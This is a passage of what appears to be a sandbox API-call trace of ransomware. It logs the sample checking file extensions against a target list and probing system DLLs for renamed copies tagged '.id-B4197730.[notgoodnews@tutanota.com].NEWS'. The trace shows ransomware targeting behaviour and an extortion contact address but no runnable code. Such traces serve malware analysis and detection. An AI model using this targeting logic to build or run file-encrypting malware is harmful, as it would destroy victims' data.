Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.177] lstrlenW (lpString=".doc") returned 4 [0089.177] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.177] lstrlenW (lpString=".docx") returned 5 [0089.177] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0089.177] lstrlenW (lpString=".pdf") returned 4 [0089.177] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.177] lstrlenW (lpString=".xls") returned 4 [0089.177] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.177] lstrlenW (lpString=".xlsx") returned 5 [0089.178] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0089.178] lstrlenW (lpString=".ppt") returned 4 [0089.178] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.178] lstrlenW (lpString=".zip") returned 4 [0089.178] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.178] lstrlenW (lpString=".rar") returned 4 [0089.178] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.178] lstrlenW (lpString=".bz2") returned 4 [0089.178] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.178] lstrlenW (lpString=".7z") returned 3 [0089.178] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.178] lstrlenW (lpString=".dbf") returned 4 [0089.178] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.178] lstrlenW (lpString=".1cd") returned 4 [0089.178] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.178] lstrlenW (lpString=".jpg") returned 4 [0089.178] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.178] lstrlenW (lpString=".doc") returned 4 [0089.178] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.178] lstrlenW (lpString=".docx") returned 5 [0089.178] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0089.178] lstrlenW (lpString=".pdf") returned 4 [0089.178] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.178] lstrlenW (lpString=".xls") returned 4 [0089.178] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.178] lstrlenW (lpString=".xlsx") returned 5 [0089.178] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0089.178] lstrlenW (lpString=".ppt") returned 4 [0089.178] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.178] lstrlenW (lpString=".zip") returned 4 [0089.179] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.179] lstrlenW (lpString=".rar") returned 4 [0089.179] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.179] lstrlenW (lpString=".bz2") returned 4 [0089.179] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.179] lstrlenW (lpString=".7z") returned 3 [0089.179] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.179] lstrlenW (lpString=".dbf") returned 4 [0089.179] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.179] lstrlenW (lpString=".1cd") returned 4 [0089.179] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0089.179] lstrlenW (lpString=".jpg") returned 4 [0089.179] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.179] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0089.179] lstrlenW (lpString="oledb32r.dll.mui") returned 16 [0089.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0089.181] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=48128) returned 1 [0089.181] CloseHandle (hObject=0x2f4) returned 1 [0089.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0089.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.181] lstrlenW (lpString=".doc") returned 4 [0089.181] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0089.181] lstrlenW (lpString=".docx") returned 5 [0089.181] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0089.181] lstrlenW (lpString=".pdf") returned 4 [0089.181] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0089.181] lstrlenW (lpString=".xls") returned 4 [0089.181] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0089.181] lstrlenW (lpString=".xlsx") returned 5 [0089.181] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0089.181] lstrlenW (lpString=".ppt") returned 4 [0089.181] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0089.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.181] lstrlenW (lpString=".zip") returned 4 [0089.181] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0089.181] lstrlenW (lpString=".rar") returned 4 [0089.182] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0089.182] lstrlenW (lpString=".bz2") returned 4 [0089.182] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0089.182] lstrlenW (lpString=".7z") returned 3 [0089.182] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.182] lstrlenW (lpString=".dbf") returned 4 [0089.182] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0089.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.182] lstrlenW (lpString=".1cd") returned 4 [0089.182] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.182] lstrlenW (lpString=".jpg") returned 4 [0089.182] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.182] lstrlenW (lpString=".doc") returned 4 [0089.182] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0089.182] lstrlenW (lpString=".docx") returned 5 [0089.182] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0089.182] lstrlenW (lpString=".pdf") returned 4 [0089.182] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0089.182] lstrlenW (lpString=".xls") returned 4 [0089.182] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0089.182] lstrlenW (lpString=".xlsx") returned 5 [0089.182] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0089.182] lstrlenW (lpString=".ppt") returned 4 [0089.182] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0089.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.182] lstrlenW (lpString=".zip") returned 4 [0089.182] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0089.182] lstrlenW (lpString=".rar") returned 4 [0089.182] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0089.182] lstrlenW (lpString=".bz2") returned 4 [0089.182] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0089.182] lstrlenW (lpString=".7z") returned 3 [0089.183] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.183] lstrlenW (lpString=".dbf") returned 4 [0089.183] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0089.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.183] lstrlenW (lpString=".1cd") returned 4 [0089.183] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66 [0089.183] lstrlenW (lpString=".jpg") returned 4 [0089.183] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.183] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0089.183] lstrlenW (lpString="sqloledb.rll.mui") returned 16 [0089.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0089.184] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=44032) returned 1 [0089.184] CloseHandle (hObject=0x2f4) returned 1 [0089.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0089.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.185] lstrlenW (lpString=".doc") returned 4 [0089.185] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0089.185] lstrlenW (lpString=".docx") returned 5 [0089.185] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0089.185] lstrlenW (lpString=".pdf") returned 4 [0089.185] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0089.185] lstrlenW (lpString=".xls") returned 4 [0089.185] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0089.185] lstrlenW (lpString=".xlsx") returned 5 [0089.185] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0089.185] lstrlenW (lpString=".ppt") returned 4 [0089.185] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0089.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.185] lstrlenW (lpString=".zip") returned 4 [0089.185] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0089.185] lstrlenW (lpString=".rar") returned 4 [0089.185] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0089.185] lstrlenW (lpString=".bz2") returned 4 [0089.185] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0089.185] lstrlenW (lpString=".7z") returned 3 [0089.185] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.185] lstrlenW (lpString=".dbf") returned 4 [0089.185] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0089.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.185] lstrlenW (lpString=".1cd") returned 4 [0089.185] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.185] lstrlenW (lpString=".jpg") returned 4 [0089.185] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.186] lstrlenW (lpString=".doc") returned 4 [0089.186] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0089.186] lstrlenW (lpString=".docx") returned 5 [0089.186] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0089.186] lstrlenW (lpString=".pdf") returned 4 [0089.186] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0089.186] lstrlenW (lpString=".xls") returned 4 [0089.186] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0089.186] lstrlenW (lpString=".xlsx") returned 5 [0089.186] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0089.186] lstrlenW (lpString=".ppt") returned 4 [0089.186] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0089.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.186] lstrlenW (lpString=".zip") returned 4 [0089.186] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0089.186] lstrlenW (lpString=".rar") returned 4 [0089.186] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0089.186] lstrlenW (lpString=".bz2") returned 4 [0089.186] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0089.186] lstrlenW (lpString=".7z") returned 3 [0089.186] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.186] lstrlenW (lpString=".dbf") returned 4 [0089.186] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0089.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.186] lstrlenW (lpString=".1cd") returned 4 [0089.186] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66 [0089.186] lstrlenW (lpString=".jpg") returned 4 [0089.186] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.186] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.186] lstrlenW (lpString="msdaosp.dll") returned 11 [0089.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0089.187] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=99840) returned 1 [0089.187] CloseHandle (hObject=0x2f4) returned 1 [0089.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0089.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.187] lstrlenW (lpString=".doc") returned 4 [0089.187] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.187] lstrlenW (lpString=".docx") returned 5 [0089.187] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0089.187] lstrlenW (lpString=".pdf") returned 4 [0089.187] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.187] lstrlenW (lpString=".xls") returned 4 [0089.187] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.187] lstrlenW (lpString=".xlsx") returned 5 [0089.187] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0089.187] lstrlenW (lpString=".ppt") returned 4 [0089.187] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.188] lstrlenW (lpString=".zip") returned 4 [0089.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.188] lstrlenW (lpString=".rar") returned 4 [0089.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.188] lstrlenW (lpString=".bz2") returned 4 [0089.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.188] lstrlenW (lpString=".7z") returned 3 [0089.188] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.188] lstrlenW (lpString=".dbf") returned 4 [0089.188] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.188] lstrlenW (lpString=".1cd") returned 4 [0089.188] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.188] lstrlenW (lpString=".jpg") returned 4 [0089.188] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.188] lstrlenW (lpString=".doc") returned 4 [0089.188] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.188] lstrlenW (lpString=".docx") returned 5 [0089.188] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0089.188] lstrlenW (lpString=".pdf") returned 4 [0089.188] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.188] lstrlenW (lpString=".xls") returned 4 [0089.188] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.188] lstrlenW (lpString=".xlsx") returned 5 [0089.188] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0089.188] lstrlenW (lpString=".ppt") returned 4 [0089.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.188] lstrlenW (lpString=".zip") returned 4 [0089.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.188] lstrlenW (lpString=".rar") returned 4 [0089.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.188] lstrlenW (lpString=".bz2") returned 4 [0089.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.189] lstrlenW (lpString=".7z") returned 3 [0089.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.189] lstrlenW (lpString=".dbf") returned 4 [0089.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.189] lstrlenW (lpString=".1cd") returned 4 [0089.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0089.189] lstrlenW (lpString=".jpg") returned 4 [0089.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.189] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.189] lstrlenW (lpString="msdaps.dll") returned 10 [0089.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0089.189] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=376320) returned 1 [0089.189] CloseHandle (hObject=0x2f4) returned 1 [0089.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0089.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.190] lstrlenW (lpString=".doc") returned 4 [0089.190] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.190] lstrlenW (lpString=".docx") returned 5 [0089.190] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0089.190] lstrlenW (lpString=".pdf") returned 4 [0089.190] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.190] lstrlenW (lpString=".xls") returned 4 [0089.190] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.190] lstrlenW (lpString=".xlsx") returned 5 [0089.190] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0089.190] lstrlenW (lpString=".ppt") returned 4 [0089.190] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.190] lstrlenW (lpString=".zip") returned 4 [0089.190] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.190] lstrlenW (lpString=".rar") returned 4 [0089.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.190] lstrlenW (lpString=".bz2") returned 4 [0089.190] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.190] lstrlenW (lpString=".7z") returned 3 [0089.190] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.190] lstrlenW (lpString=".dbf") returned 4 [0089.190] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.190] lstrlenW (lpString=".1cd") returned 4 [0089.190] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.190] lstrlenW (lpString=".jpg") returned 4 [0089.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.191] lstrlenW (lpString=".doc") returned 4 [0089.191] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.191] lstrlenW (lpString=".docx") returned 5 [0089.191] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0089.191] lstrlenW (lpString=".pdf") returned 4 [0089.191] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.191] lstrlenW (lpString=".xls") returned 4 [0089.191] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.191] lstrlenW (lpString=".xlsx") returned 5 [0089.191] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0089.191] lstrlenW (lpString=".ppt") returned 4 [0089.191] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0089.191] lstrlenW (lpString=".zip") returned 4 [0089.191] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.191] lstrlenW (lpString=".rar") returned 4 [0089.191] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.191] lstrlenW (lpString=".bz2") returned 4 [0089.191] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.191] lstrlenW (lpString=".7z") returned 3 [0089.191] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.191] lstrlenW (lpString="C:\\Program 